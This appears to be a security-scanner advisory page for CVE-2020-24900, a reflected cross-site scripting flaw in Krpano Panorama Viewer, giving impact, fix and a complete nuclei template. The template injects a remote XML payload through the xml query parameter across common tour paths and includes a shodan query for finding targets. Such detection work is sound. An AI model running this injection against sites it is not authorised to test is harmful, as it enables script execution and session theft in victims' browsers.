Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.2%likelihood of exploitation, next 30 days

69%of all CVEs are less likely

Readycheck to confirm it

The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the xml parameter in krpano.html. When passQueryParameters allows the xml parameter, a remote XML file supplied in the URL is loaded and its embedded Javascript action is executed in the origin of the viewer.

Impact

An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.

Fix

Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include xml, instead of true.

How to confirm it

Send: GET /
Positive when: contains(body, "embedpano(") and contains(body, "passQueryParameters")
Positive when: krpano_xss == true

Run it with nuclei: nuclei -id CVE-2020-24900 -u <target>

The full check

id: CVE-2020-24900

info:
  name: Krpano Panorama Viewer <= 1.20.8 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    The default installation of Krpano Panorama Viewer version 1.20.8 and before is prone to reflected cross-site scripting via the xml parameter in krpano.html. When passQueryParameters allows the xml parameter, a remote XML file supplied in the URL is loaded and its embedded Javascript action is executed in the origin of the viewer.
  impact: |
    An attacker can execute arbitrary Javascript in the victim's browser in the context of the vulnerable site by sending a crafted link, which can lead to session theft or actions performed on behalf of the victim.
  remediation: |
    Update to the latest Krpano version and set passQueryParameters to a fixed list of parameters that does not include xml, instead of true.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-24900
    - https://krpano.com/docu/releasenotes/?version=12010
    - https://krpano.com/docu/embedpano/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-24900
    epss-score: 0.01231
    epss-percentile: 0.69192
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    vendor: krpano
    product: panorama_viewer
    shodan-query: http.html:"embedpano"
  tags: cve,cve2020,krpano,xss,headless,viewer

variables:
  payload: "https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/CVE-2020-24900.xml"

flow: (http(1) || http(2)) && headless(1)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "embedpano(")'
          - 'contains(body, "passQueryParameters")'
        condition: and
        internal: true

headless:
  - payloads:
      path:
        - "/"
        - "/index.html"
        - "/tour.html"
        - "/krpano.html"
        - "/vtour/index.html"
        - "/vtour/tour.html"

    attack: batteringram

    steps:
      - action: navigate
        args:
          url: "{{BaseURL}}{{path}}?xml={{payload}}"
      - action: waitdialog
        name: krpano_xss

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'krpano_xss == true'

    extractors:
      - type: dsl
        dsl:
          - 'BaseURL + path + "?xml=" + payload'

References

Use this check only on systems you are authorised to test. Where the data comes from